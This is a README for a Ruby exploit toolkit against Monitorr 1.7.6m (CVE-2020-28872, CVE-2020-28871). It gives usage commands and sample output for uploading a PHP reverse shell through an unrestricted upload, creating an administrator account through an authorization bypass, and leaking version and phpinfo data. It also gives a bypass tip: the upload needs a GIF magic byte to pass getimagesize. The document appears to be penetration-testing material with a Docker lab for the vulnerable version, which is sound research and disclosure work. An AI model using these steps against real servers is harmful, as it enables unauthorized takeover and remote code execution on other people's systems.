Monitorr exploit toolkit

RCE via unsecure file upload (PHP reverse shell, webshell, etc.)
Administrator account creation via Authorization bypass
Technical information leakage: Monitorr version, PHP version, System version & kernel, PHP config, etc.

Exploit for CVE-2020-28872 and CVE-2020-28871.

[PacketStorm]

Usage

$ ruby exploit.rb -h
Monitorr-Exploit

Usage:
  exploit.rb upload <url> <file> [--debug]
  exploit.rb create <url> <user> <pass> <email> [--debug]
  exploit.rb version <url> [--debug]
  exploit.rb phpinfo <url> [--debug]
  exploit.rb -h | --help

upload:       Upload a file (RCE via unrestricted file upload)
version:      Try to fetch Monitorr version
phpinfo:      Extract main phpinfo() information (Information leakage)
create:       Create an administrator account (Authorization bypass)

Options:
  <url>       Root URL (base path) including HTTP scheme, port and root folder
  <file>      File to be uploaded
  --debug     Display arguments
  -h, --help  Show this screen

Examples:
  exploit.rb upload http://example.org revshell.php
  exploit.rb create https://example.org:8080/monitorr/ noraj password 'noraj@pentest.local'
  exploit.rb version https://example.org:7000/

Examples

Upload a reverse shell:

$ ruby exploit.rb upload http://localhost:7000/ shell.php
[+] File uploaded:
http://localhost:7000//assets/data/usrimg/shell.php

Administrator account creation:

$ ruby exploit.rb create http://localhost:7000/ noraj20 password 'noraj20@test.fr'
[+] User created
Username: noraj20
Email: noraj20@test.fr
Password: password

Get Monitorr version:

$ ruby exploit.rb version http://localhost:7000/
1.7.6m

Get phpinfp():

$ ruby exploit.rb phpinfo http://localhost:7000/
System: Linux f0ded2053dda 5.12.12-zen1-1-zen #1 ZEN SMP PREEMPT Fri, 18 Jun 2021 21:59:24 +0000 x86_64 
PHP version: 7.1.17 
disable_functions: no value</i>
open_basedir: no value</i>

Full phpinfo() location: http://localhost:7000//assets/php/phpinfo.php

Requirements

Example using gem:

bundle install
# or
gem install httpx docopt

Docker deployment of the vulnerable software

Warning: of course this setup is not suited for production usage!

$ sudo docker-compose up

Setup / initialize the app at http://127.0.0.1:7000/monitorr/settings.php.

Limitations

Upload: the uploaded file must have an image magic byte (eg. GIF) in order to match getimagesize (code)
Create: the password used during password creation must be >= 6 characters long (application min. limit)

References

Target software: Monitorr
- Source: https://github.com/Monitorr/Monitorr/
- Docker: https://hub.docker.com/r/monitorr/monitorr/
- Vulnerable version: 1.7.6m

This is a better re-write & fusion of EDB-48981 (CVE-2020-28872) and EDB-48980 (CVE-2020-28871) plus extra functionalities.

The upload and admin account creation vulnerabilities were found by Lyhin's Lab. The phpinfo and Monitorr version leak were found by Alexandre ZANNI aka noraj.

Analysis of the original exploit and vulnerability:

How White-Box hacking works: Authorization Bypass and Remote Code Execution in Monitorr 1.7.6